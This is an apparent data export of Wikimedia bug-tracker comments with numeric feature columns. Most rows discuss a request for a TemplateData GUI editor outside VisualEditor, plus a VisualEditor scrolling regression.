240931,VisualEditor: [Regression] Dialog panels not scrollable,Caused by 8409d16f0f2392cea321aa3d8d6bc692f3f04f27,,,1374318944,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-jvkszokywziqndkikfj4,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,1.0,Caused by 8409d16f0f2392cea321aa3d8d6bc692f3f04f27
53734,TemplateData: Create an editor for template data (in the wikitext editor),"GUI for the existing TemplateDataEditor

Not the same as bug 50964: it would be really nice to provide a tool for editing TemplateData also outside VisualEditor (I even think it's better than inside VisualEditor because VE doesn't work on Template namespace right now).

The existing TemplateDataEditor script (created by Ltrlg on frwiki, translated for enwiki by me), can be a good start. Benefits for including some equivalent in TemplateData extensions are important :
* Available to all wikis
* Translations can be done like they are done for TemplateData

Links :
* http://en.wikipedia.org/wiki/User:NicoV/TemplateDataEditor
* http://fr.wikipedia.org/wiki/Utilisateur:Ltrlg/scripts/TemplateDataEditor.js

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50169

**Attached**: {F11375}",High,80.0,1374308460,1389806818.0,PHID-USER-o34e5i3eq4nstbvcf26w,False,,False,PHID-TASK-jd5jq4oxcix7nauaawh2,task_description,resolved,True,c1,3,False,False,False,2,,1.5,0.0,0.0,1.5,1.0,4.5,1.5,0.5,0.0,0.0,1.0,0.5,0.0,0.0,0.0,1.0,0.0,4.5,10.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.5,0.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,3.5,0.0,0.5,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.5,0.0,0.0,0.0,2.5,3.0,16.0,0.5,0.0,4.0,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,2.5,10.0,6.0,0.0,0.0,0.0,2.5,0.0,0.0,1.0,0.5,2.0,0.5,0.0,0.0,4.037017543859649,0.6347368421052632,"GUI for the existing TemplateDataEditor

Not the same as bug 50964: it would be really nice to provide a tool for editing TemplateData also outside VisualEditor (I even think it's better than inside VisualEditor because VE doesn't work on Template namespace right now).

The existing TemplateDataEditor script (created by Ltrlg on frwiki, translated for enwiki by me), can be a good start. Benefits for including some equivalent in TemplateData extensions are important :
* Available to all wikis
* Translations can be done like they are done for TemplateData

Links :
* URL
* URL

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL

**Attached**: {F11375}"
240753,TemplateData: Create an editor for template data (in the wikitext editor),Follow-up in 60158.,,,1391795279,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jd5jq4oxcix7nauaawh2,task_subcomment,,True,c1,3,True,,,31,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8333333333333335,1.0,Follow-up in 60158.
240749,TemplateData: Create an editor for template data (in the wikitext editor),"Created attachment 14428
TemplateDataGenertor screenshot

I made a screenshot. I’ve cropped it to show only TemplateDataGenerator: it is a jQuery UI dialog centered on the screen.

**Attached**: {F11377}",,,1391198497,,PHID-USER-5pyvkdz65d5h5vxebodc,False,,,PHID-TASK-jd5jq4oxcix7nauaawh2,task_subcomment,,True,c1,3,False,,,30,,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,19.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,10.0,5.0,7.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.261904761904762,0.7619047619047619,"Created attachment 14428
TemplateDataGenertor screenshot

I made a screenshot. I’ve cropped it to show only TemplateDataGenerator: it is a jQuery UI dialog centered on the screen.

**Attached**: {F11377}"
240739,TemplateData: Create an editor for template data (in the wikitext editor),"As I said, the current information (or lack of) is confusing. Is there any wiki page or screenshot or anything we can link to?

In any case, ca.wiki wants to try it.  :)",,,1391189938,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-jd5jq4oxcix7nauaawh2,task_subcomment,,True,c1,3,False,,,30,,5.0,2.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,12.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,10.0,0.0,7.0,7.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,12.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2857142857142856,0.8571428571428571,"As I said, the current information (or lack of) is confusing. Is there any wiki page or screenshot or anything we can link to?

In any case, ca.wiki wants to try it.  :)"
240733,TemplateData: Create an editor for template data (in the wikitext editor),"$wgTemplateDataUseGUI activates neither TemplateDataEditor nor TDSkell but TemplateDataGenerator. The two screenshots attached to this bug are for 'TemplateDataEditor' and 'TemplateData Editor', so the one you gave on cawiki is not correct.",,,1391186065,,PHID-USER-5pyvkdz65d5h5vxebodc,False,,,PHID-TASK-jd5jq4oxcix7nauaawh2,task_subcomment,,True,c1,3,False,,,30,,0.0,0.0,0.0,0.0,3.0,5.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,18.0,0.0,13.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,8.0,8.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.384615384615385,0.8717948717948718,"$wgTemplateDataUseGUI activates neither TemplateDataEditor nor TDSkell but TemplateDataGenerator. The two screenshots attached to this bug are for 'TemplateDataEditor' and 'TemplateData Editor', so the one you gave on cawiki is not correct."
240726,TemplateData: Create an editor for template data (in the wikitext editor),"ca.wiki is also happy to test it, see https://ca.wikipedia.org/wiki/Viquip%C3%A8dia:La_taverna/Propostes#Activar_TemplateDataEditor",,,1391177736,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-jd5jq4oxcix7nauaawh2,task_subcomment,,True,c1,3,False,,,30,,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.3,1.0,"ca.wiki is also happy to test it, see URL"
240718,TemplateData: Create an editor for template data (in the wikitext editor),"**M8R-0p6s0d** wrote:

Hi, we would like to try the TempalteDataEditor on NL wiki, see https://nl.wikipedia.org/wiki/Wikipedia:De_kroeg#Aanzetten_TemplateData-editor_op_nl-wiki",,,1390823433,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jd5jq4oxcix7nauaawh2,task_subcomment,,True,c1,3,False,,,30,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,13.0,4.0,4.0,0.0,4.0,9.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.347826086956522,0.8260869565217391,"**M8R-0p6s0d** wrote:

Hi, we would like to try the TempalteDataEditor on NL wiki, see URL"
240712,TemplateData: Create an editor for template data (in the wikitext editor),"No, this is the GUI we developed hidden behind $wgTemplateDataUseGUI.",,,1390431656,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jd5jq4oxcix7nauaawh2,task_subcomment,,True,c1,3,True,,,29,,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,15.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.615384615384615,1.0,"No, this is the GUI we developed hidden behind $wgTemplateDataUseGUI."
240705,TemplateData: Create an editor for template data (in the wikitext editor),"(In reply to comment #11)
> If
> a particular wiki is happy to be a guinea pig we can switch it on there for a
> little for some real-world testing.

Sound interesting, but I'm missing a bit of background...

Do you mean ""switch on"" https://en.wikipedia.org/wiki/User:Salix_alba/TDSkell ? Would it be enabled to all users of a wiki or can it be restricted to a certain user group in order limit the experiment a bit?

There is clear interest in improving template data coverage in Catalan Wikipedia but, guess what, nobody really enjoys editing JSON syntax.  :)",,,1390336136,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-jd5jq4oxcix7nauaawh2,task_subcomment,,True,c1,3,False,,,29,,1.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,1.0,1.0,0.0,1.0,11.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,4.0,2.0,2.0,2.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,3.0,14.0,0.0,3.0,7.0,0.0,1.0,0.0,1.0,8.0,0.0,1.0,0.0,4.0,11.0,3.0,2.0,2.0,0.0,4.0,0.0,1.0,4.0,0.0,3.0,0.0,0.0,0.0,3.6956521739130435,0.7608695652173914,"(In reply to comment #11)
QUOTE
QUOTE
QUOTE

Sound interesting, but I'm missing a bit of background...

Do you mean ""switch on"" URL ? Would it be enabled to all users of a wiki or can it be restricted to a certain user group in order limit the experiment a bit?

There is clear interest in improving template data coverage in Catalan Wikipedia but, guess what, nobody really enjoys editing JSON syntax.  :)"
240697,TemplateData: Create an editor for template data (in the wikitext editor),"This is done in I863a8199c0b08cc52b320ed00dcba912dd2aeefc (though it's not yet deployed, as it is currently hidden behind a feature flag). Closing for now. If a particular wiki is happy to be a guinea pig we can switch it on there for a little for some real-world testing.",,,1389806818,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jd5jq4oxcix7nauaawh2,task_subcomment,,True,c1,3,True,,,28,,2.0,0.0,0.0,4.0,2.0,7.0,4.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,7.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,13.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,18.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,4.127272727272727,0.8,"This is done in I863a8199c0b08cc52b320ed00dcba912dd2aeefc (though it's not yet deployed, as it is currently hidden behind a feature flag). Closing for now. If a particular wiki is happy to be a guinea pig we can switch it on there for a little for some real-world testing."
240691,TemplateData: Create an editor for template data (in the wikitext editor),"Change 85400 had a related patch set uploaded by Jforrester:
TemplateData Generator GUI

https://gerrit.wikimedia.org/r/85400",,,1386784147,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jd5jq4oxcix7nauaawh2,task_subcomment,,True,c1,3,False,,,23,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,35.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,5.176470588235294,1.0,"Change 85400 had a related patch set uploaded by Jforrester:
TemplateData Generator GUI

GERRIT_URL"
240683,TemplateData: Create an editor for template data (in the wikitext editor),"Skeleton generator now in javascript and at http://en.wikipedia.org/wiki/User:Salix_alba/TDSkell
its quite handy for getting a complete list of parameters. The human written documentation is not always upto date.",,,1375139849,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-jd5jq4oxcix7nauaawh2,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,3.0,10.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.6,0.9666666666666667,"Skeleton generator now in javascript and at URL
its quite handy for getting a complete list of parameters. The human written documentation is not always upto date."
240675,TemplateData: Create an editor for template data (in the wikitext editor),"I don't know how I messed up with the bug number (probably several bugzilla windows opened and I paste the wrong one) ;-) Sorry, bug 50169 of course.

I also think having a button in the toolbar would be a better place than the sidebar.


Other possible optimization: combine it with the ""Skeleton generator"" so that parameter names are automatically retrieved from the template source code for initializing the templatedata the first time. Care must be taken since the templatedata will often be on the documentation page.

http://singsurf.org/things/TemplateData.php?Source=true",,,1374777939,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,,PHID-TASK-jd5jq4oxcix7nauaawh2,task_subcomment,,True,c1,3,False,,,3,,0.5,0.0,0.0,2.0,0.5,4.5,1.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,2.0,1.0,4.0,9.5,0.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,2.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.5,9.0,3.5,6.5,3.5,0.5,9.0,0.0,0.5,0.0,0.0,4.0,0.5,1.0,0.0,3.0,9.5,2.0,0.0,2.0,0.0,3.0,0.0,0.5,1.0,0.0,1.5,0.5,0.0,0.0,4.352941176470589,0.8235294117647058,"I don't know how I messed up with the bug number (probably several bugzilla windows opened and I paste the wrong one) ;-) Sorry, bug 50169 of course.

I also think having a button in the toolbar would be a better place than the sidebar.


Other possible optimization: combine it with the ""Skeleton generator"" so that parameter names are automatically retrieved from the template source code for initializing the templatedata the first time. Care must be taken since the templatedata will often be on the documentation page.

URL"
240667,TemplateData: Create an editor for template data (in the wikitext editor),"(In reply to comment #0)
> Created attachment 12900 [details]
> GUI for the existing TemplateDataEditor
> 
> Not the same as bug 50964

Indeed, bug 50964 is not the same, but also (apparently) completely unrelated. I assume you meant bug 50169.

If this should not (also) be inside VisualEditor, can we be specific in what we want it to be then?

e.g. WikiEditor, legacy toolbar, ...

The referenced gadget 'parses' the wikitext textarea and adds a link in the sidebar toolbox that opens a dialog. I don't think the sidebar would be an acceptable entry point to edit the wikitext. Should be something in the toolbar.

I agree we should re-use the data logic between these 2 or 3 different things. At least we can expose the data logic separately from the plugin we make for VisualEditor so that other ones can be created as gadget (until (if) we make one of the WikiEditor and/or legacy toolbar).

**Attached**: {F11375}",,,1374776275,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-jd5jq4oxcix7nauaawh2,task_subcomment,,True,c1,3,True,,,3,,0.0,0.5,0.5,0.5,1.5,4.0,2.0,0.0,0.0,1.0,3.0,1.5,0.0,0.0,0.0,4.5,0.0,5.5,10.5,0.5,1.5,1.5,0.5,0.0,0.5,0.0,0.0,0.5,1.5,0.5,0.0,4.5,1.5,0.5,2.0,0.5,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,15.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.5,0.0,7.0,3.5,9.5,2.0,2.0,8.0,0.0,0.0,0.0,0.5,6.5,0.0,3.0,0.0,5.5,10.5,3.5,0.5,1.0,0.0,5.5,0.0,1.0,1.5,0.0,0.0,0.0,0.5,0.0,3.6651315789473684,0.7016447368421053,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE

Indeed, bug 50964 is not the same, but also (apparently) completely unrelated. I assume you meant bug 50169.

If this should not (also) be inside VisualEditor, can we be specific in what we want it to be then?

e.g. WikiEditor, legacy toolbar, ...

The referenced gadget 'parses' the wikitext textarea and adds a link in the sidebar toolbox that opens a dialog. I don't think the sidebar would be an acceptable entry point to edit the wikitext. Should be something in the toolbar.

I agree we should re-use the data logic between these 2 or 3 different things. At least we can expose the data logic separately from the plugin we make for VisualEditor so that other ones can be created as gadget (until (if) we make one of the WikiEditor and/or legacy toolbar).

**Attached**: {F11375}"
240661,TemplateData: Create an editor for template data (in the wikitext editor),"Created attachment 12957
Screenshot of http://tools.wikimedia.pl/~mlazowik/templatedata/

**Attached**: {F11376}",,,1374775628,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-jd5jq4oxcix7nauaawh2,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.588235294117647,0.8235294117647058,"Created attachment 12957
Screenshot of URL

**Attached**: {F11376}"
240656,TemplateData: Create an editor for template data (in the wikitext editor),"This is, indeed, not a duplicate of bug 50169, though it might as well be done in one go. Relabelling as such.",,,1374510028,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jd5jq4oxcix7nauaawh2,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,7.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.2962962962962963,0.8518518518518519,"This is, indeed, not a duplicate of bug 50169, though it might as well be done in one go. Relabelling as such."
240654,TemplateData: Create an editor for template data (in the wikitext editor),"(In reply to comment #1)
> Could you please define what that ""tool"" would exactly do? 
> Otherwise it will be extremely hard to define when this bug report could be
> considered ""fixed"" at some point. :)

Being able to edit a <templatedata> tag in a user frienly way, much like what TemplateDataEditor allows (see the attached screenshot in my first comment). JSON is not very friendly for human editors.
Basically, a window showing all the informations in the <templatedata/> and allowing a human editor to modify them easily.

Extra advantage of including this in the TemplateData extension :
* Users don't have to modify their common.js to have access to an editor",,,1374495793,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,,PHID-TASK-jd5jq4oxcix7nauaawh2,task_subcomment,,True,c1,3,False,,,3,,1.5,0.0,0.5,0.0,1.5,4.5,0.5,0.0,0.0,0.0,3.5,1.0,0.0,0.0,0.0,0.5,0.0,5.0,10.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,1.5,0.0,1.5,0.0,0.0,0.0,0.0,1.5,0.0,2.0,0.0,2.5,0.0,0.5,0.0,0.0,0.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,7.5,0.0,1.0,9.0,0.0,0.0,0.0,0.5,5.5,0.0,1.5,0.0,2.5,10.0,1.5,0.0,0.0,0.0,2.5,0.0,0.5,4.0,1.0,3.0,0.0,0.0,4.5,4.056603773584905,0.7924528301886793,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE

Being able to edit a <templatedata> tag in a user frienly way, much like what TemplateDataEditor allows (see the attached screenshot in my first comment). JSON is not very friendly for human editors.
Basically, a window showing all the informations in the <templatedata/> and allowing a human editor to modify them easily.

Extra advantage of including this in the TemplateData extension :
* Users don't have to modify their common.js to have access to an editor"
240649,TemplateData: Create an editor for template data (in the wikitext editor),"(In reply to comment #0)
...
> editing TemplateData also outside VisualEditor (I even think it's better than
> inside VisualEditor because VE doesn't work on Template namespace right now).

BTW: depending on the resolution of bug 50512, the data might be migrated from Template namespace to a specific one.",,,1374489651,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-jd5jq4oxcix7nauaawh2,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,13.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,5.0,0.0,8.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.5526315789473686,0.868421052631579,"(In reply to comment #0)
...
QUOTE
QUOTE

BTW: depending on the resolution of bug 50512, the data might be migrated from Template namespace to a specific one."
240644,TemplateData: Create an editor for template data (in the wikitext editor),Tool = something at least as good as the TemplateDataEditor linked above.,,,1374489443,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-jd5jq4oxcix7nauaawh2,task_subcomment,,True,c1,3,False,,,3,,0.0,8.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,15.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.769230769230769,0.9230769230769231,Tool = something at least as good as the TemplateDataEditor linked above.
240640,TemplateData: Create an editor for template data (in the wikitext editor),"Could you please define what that ""tool"" would exactly do? 
Otherwise it will be extremely hard to define when this bug report could be considered ""fixed"" at some point. :)",,,1374486973,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jd5jq4oxcix7nauaawh2,task_subcomment,,True,c1,3,True,,,3,,3.0,0.0,3.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,5.0,0.0,3.0,0.0,0.0,14.0,3.0,0.0,0.0,5.0,8.0,0.0,3.0,11.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.864864864864865,0.8648648648648649,"Could you please define what that ""tool"" would exactly do? 
Otherwise it will be extremely hard to define when this bug report could be considered ""fixed"" at some point. :)"
